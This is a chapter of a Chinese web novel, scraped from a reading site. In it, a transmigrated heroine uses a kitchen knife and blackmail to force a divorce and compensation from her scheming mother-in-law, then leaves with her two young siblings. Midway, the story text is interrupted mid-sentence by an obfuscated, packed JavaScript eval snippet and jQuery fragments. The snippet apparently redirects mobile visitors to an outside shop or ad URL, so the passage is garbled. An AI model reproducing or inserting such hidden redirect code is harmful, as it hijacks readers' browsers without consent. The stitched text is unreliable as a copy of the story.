默认冷灰
24号文字
方正启体

2. 和离

作者:雪霞羹本书字数:K更新时间:
    阳哥儿见她如此厉害,便点了点头,牵起月姐儿的手,两人一步三回头地往门外走。


    屋门吱呀一声关上,房内的光线更暗了几分。


    阳哥儿犹豫了一会儿,对着月姐儿“嘘”了一声,小心翼翼地将耳朵贴在门上,月姐儿歪着头有些不解,但也学着他的动作。


    经过刚才那一发作,柳朝云感觉自己身上的力气基本恢复了七八成,于是掀开被子下床站了起来。


    刘婆子神情惊恐,生怕自己成了砧板上的肉,舔了舔发干的嘴唇,撑着床沿从地上爬了起来,脚步直往后退:“你,你想干什么?”


    柳朝云笑眯眯地看着她:“我大病初愈,手上没什么劲儿,差点拿菜刀砍到婆母,您可千万别见怪。”


    她嘴上说着别见怪,菜刀的刀刃却仍然直直地对着刘婆子。


    刘婆子面皮抖了抖,脚情不自禁地又往后挪了几分。她昂起下巴,摆出架子,色厉内荏道:“你可给我仔细着,伤了人可不是好玩的,你再敢动一下手我就活剥了门外那两个小崽子的皮!”


    柳朝云眸中寒光一闪,掂了掂手里的菜刀:“呵,婆母多虑了,菜刀杀人又费力气又血腥,不如下毒来的方便干脆。”


    “吃的、喝的、用的,随便扔一把砒霜,人就能死的无声无息,您说是吧?”


    刘婆子简直要被柳朝云的话吓个半死,嘴里的舌头都有些不太听使唤:“你,你这话什么意思?”


    柳朝云收起了脸上的笑:“鱼死网破的意思,您一会儿要卖人,一会儿要剥皮,我横竖是不想再忍了,索性大家都别活!”


    说着,砰地一声,刀刃被她狠狠挥在床柱上,立马裂开一道缝隙。


    刘婆子尖叫一声:“你疯了!杀人可是犯法的!”


    她将声音放软:“云娘,有话好好说,你不同意我把月姐儿送去曲院街,随你就是了,何必动刀子呢。”


    这人当初就是用这么一副面孔骗过了原主的父母,柳朝云冷眼看着,态度没有一点松动。


    “我要和离。”


    “什么?!”刘婆子跳脚,她想起还未到手的一大笔银钱,厉声否决,“你休想!”


    她转了转眼珠子,先用软话哄骗。


    “我儿可是秀才,以后是要做大官的,将来你就是官娘子,出入坐轿、呼奴使婢,享不尽的荣华富贵。你好好想想,和离之后你可还能找到我儿这么好的丈夫?”


    刘婆子一边说一边在心里暗啐:呸!等把你家的钱拿到手,立马就休了你这个疯婆娘!


    见柳朝云一脸的不为所动,刘婆子也恼了。


    “你进我刘家三年,连个蛋都没生下来,和离是休想,只能休妻!出我刘家门,除了你身上穿的衣裳,一砖一瓦你都不能带走!”


    柳朝云噗嗤笑出声:“生子?巧妇还难为无米之炊呢,刘文清惯去男妓处鬼混,还是个睡在下面的兔儿爷,□□能不能用还两说,您倒是教教我,怎么生?”


    刘婆子面色一变,她心虚地看向门口,低声呵斥:“你胡说什么?!我儿怎会是那种人?!”


    贴在门上偷听的阳哥儿脸色瞬间黑了下来,比起半懂不懂的月姐儿,他已经完全听明白了。


    他气红了双眼,沉着小脸默默捏紧了拳头。


    早知道刘文清是这种人,早知道刘婆子如此刻薄难缠,早知道刘家是个龙潭虎穴,当初就不该让阿姊嫁过来!


    可惜他年纪还这样小,不能为阿姊出头,只能眼睁睁的看她受苦受气。


    屋内,柳朝云老神在在地笑:“只要还不是个官儿,男人去行院也无人诟病,最多被人说一句风流。可若他是被男人消遣的那一个,那可就是笑柄了。”


    “这条巷子里多是读书人家,有几位还是刘文清的同窗,我只要高声喊上一嗓子,他们马上就能听到,到时候......”


    刘婆子咬着牙瞪着她,恨不得冲上来撕烂柳朝云的嘴,可偏偏又怵她手里不长眼的菜刀,只能翻来覆去的在心里咒骂“作死的小娼妇”。


    柳朝云提出条件:“若想保住刘文清的名声,便答应我两个条件:第一,马上和离;第二,我进门时嫁妆足有百贯,如今只剩不到十贯钱,你们刘家要赔我四十贯!”


    刘婆子倒吸一口凉气,想也不想回绝了:“四十贯?你做梦!最多十贯!”


    “那就没得谈了。”


    柳朝云作势要往外走,刘婆子怕她当真喊出去坏了自己儿子的名声,咬了咬牙又添了十贯。


    柳朝云脚步仍旧未停,刘婆子心都在滴血:“二十五贯!再多的话你就割了我这一身肉拿去卖吧!”


    柳朝云知道刘婆子从原身这儿抠出去的前大部分都贴给了刘文清,但他是用在正经处还是别处就不得而知了。二十五贯足够让刘婆子伤筋动骨了,再纠缠下去怕她翻脸不认人,于是柳朝云笑盈盈地转身,掌心朝上:“成交,拿钱吧。”


    她扬起嗓子:“阳哥儿,去隔壁苗娘子家跑一趟,请她家官人帮忙写一份和离书。”


    阳哥儿早在外面听得一清二楚,应了一声便拉着月姐儿的手一溜烟跑了出去。


    刘婆子恨恨地剜了她一眼:“钱可以给你,我儿的坏话你一句都不许对外说!”


    柳朝云眨了眨眼:“当然没问题,只要钱到位,我嘴最严了。”


    阳哥儿和月姐儿到隔壁时,苗娘子的官人王秀才也才刚到家。他往刘文清就读的书院跑了一趟,谁知扑了个空,书院里的人说他今天请假,人不知去哪了。


    刚回家他屁股还没坐热,就听见原本奄奄一息的柳朝云不仅说话中气十足了,连和离的事情都谈好了,惊讶得半天没回过神。


    王秀才虽也是秀才,但他自知天分不高,考了几次不中后便放弃了,平时或帮着苗娘子做豆腐,或帮人写写文书贴补家用。


    苗娘子一边心疼地往月姐儿和阳哥儿嘴里各塞了一块炸豆腐,一边催促王秀才快写。


    “刘家那老虔婆向来不安好心,打的就是吃绝户的主意,离了那个虎狼窝也好,不然你们姐弟三个迟早被她磋磨死!”


    和离书写完,苗娘子和王秀才陪着阳哥儿和月姐儿一起去了刘家,也是做个见证。


    柳朝云父母已逝,因此女方这边只需她一人签字,而刘老汉和刘婆子是刘文清的生身父母,便代表刘文清在和离书上按下了手印。这些情况王秀才都在和离书上一一写明。


    因为柳朝云手中握着刘文清科举路上的致命把柄,所以刘婆子从头到尾都十分爽快,除了掏钱的时候一脸肉痛。


    苗娘子见柳朝云竟还能从刘婆子手里抠出钱来,暗暗地对她使了个赞扬的眼色,柳朝云抿着嘴笑了。


    收了钱后,柳朝云当即从中数出五十文钱作为王秀才的润笔费,苗娘子没有推辞收下了。


    王秀才担心柳朝云不清楚流程,临走时还特意嘱咐她:“和离书还需呈交官府后才生效力。”


    柳朝云行礼道谢。


    王秀才看着她欲言又止:“你手上这刀......”


    柳朝云笑道:“先生有所不知,我是担心刘婆子要打杀我们姐仨哩!这刀是用来防身的。”


    “若是我们姐仨出了什么事,还请先生和娘子帮忙报个官。”


    刘婆子闻言一张脸顿时涨成了猪肝色,往地上狠狠啐了一口,扭着身子回了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341501|199354||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    屋。


    苗娘子再忍不住噗嗤乐出了声,连夸了柳朝云好几句才拉着王秀才回家了。


    月姐儿靠在柳朝云身边,虽然不认得字,但还是和阳哥儿两人头碰着头将和离书翻来倒去地看了好几遍。


    柳朝云将菜刀插在腰后,也不管路人异样的眼光,带着弟妹径直出门将和离书送去了衙门。


    回去的路上,月姐儿知道明天就能不住在刘家了,一改往日脸上的郁色,像小麻雀似的喜得叽叽喳喳。反倒是阳哥儿一脸忧心忡忡:“咱们要去哪儿?去投奔二叔和阿奶吗?”


    原身的父亲有一个弟弟,不过是他的继母所出,两人从分家后就再也没来往过,可见关系非常一般。


    所以柳家姐弟三人只知道在乡下有这门亲戚,但是从未见过。


    柳朝云摇了摇头,她能看出来阳哥儿的心思比较重,人也更懂事些,于是弯下身子悄悄在他耳边道:“爹娘临去前拜托张牙侩卖了家里的杂货铺,另在甜水巷买了一座小院,咱们去那住。”


    阳哥儿小大人似地点了点头:“也好,到时阿姊和月姐儿待在家中,我出去找活儿干来贴补家用。”


    柳朝云觉得格外心酸,摸了摸他的头:“阳哥儿真懂事,不过你也才八岁呢,家里无需你来挣钱,有阿姊在。”


    柳朝云往长街两侧看了看,售卖各色商品的店铺门口高悬着彩色幡子,吃的、喝的、用的、玩的等等琳琅满目。不光如此,还有大小不一的摊子鳞次栉比的排列着,其中夹杂着颇有韵律的吆喝叫卖声。人群中不时有上衫下裤的闲汉穿梭而过,手里提着分层的食盒赶去送“外卖”。


    她穿来的这个朝代的许多风俗习惯和她所熟知的宋朝差不多,但如今在位的皇帝她却没什么印象,更像是历史中途在某个关键处拐了个弯,也许她是来了一个平行时空。


    但幸运的是,当今官家重文也重武,早就收回了燕云十六州,还在前几年就把边关来犯的周边国家打得落花流水,还因功封了一位异姓国公——魏国公。


    当朝太后便是民间出身,凭借着一手好绣工被先帝看中选进宫闱,所以如今并不讲究女人大门不出二门不迈,多的是妇人凭借着手艺出门赚钱。


    柳朝云情不自禁地弯了弯唇:“阿姊会做饭,可以在街上摆食摊。”


    阳哥儿看了她一眼,抿了抿唇垂下双眸。


    不远处,有二人骑着马在街上缓缓而行,其中一人眯着双眸看向柳朝云离去的方向,表情颇为古怪。他问身边的人:“现在的小娘子上街还带着菜刀?”


    另一人笑了两声:“兴许人家那是刚买的呢!不过柏兄,你这脸盲不识人的毛病来当军巡使真的合适吗?别是小贼从你面前过你都认不出来吧?”


    对方白了他一眼,拍马前行:“这话你留着问楚王去。”


    “哈哈,你刚撩了他的虎须,我才不去触他的霉头!”


    “那就闭嘴。”


    另一边,柳朝云姐弟三人刚踏进刘家,就见刘婆子正催促着刘老汉将灶房里的菜蔬肉蛋全都往他们自己的屋里搬。她刚损失了一大笔银钱,不愿再让柳朝云占去一点便宜,一粒米都不想留给他们。


    月姐儿和阳哥儿有柳朝云撑腰,蹬蹬跑了过去,一人抱着猪油罐,一人拖着一小袋面粉。刘婆子心疼猪油想抢回来,柳朝云一亮菜刀她就怂的缩回了脖子。


    最后灶屋里只剩下一把蔫嗒嗒的小葱、两捆柴和浅浅一层底的酱油和盐。


    月姐儿扁了扁嘴:“阿姊,怎么办?”


    柳朝云点了点她的小鼻子,自信道:“放心,有阿姊在,不会让你们饿肚子的,看阿姊给你们做一道葱油拌索饼。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)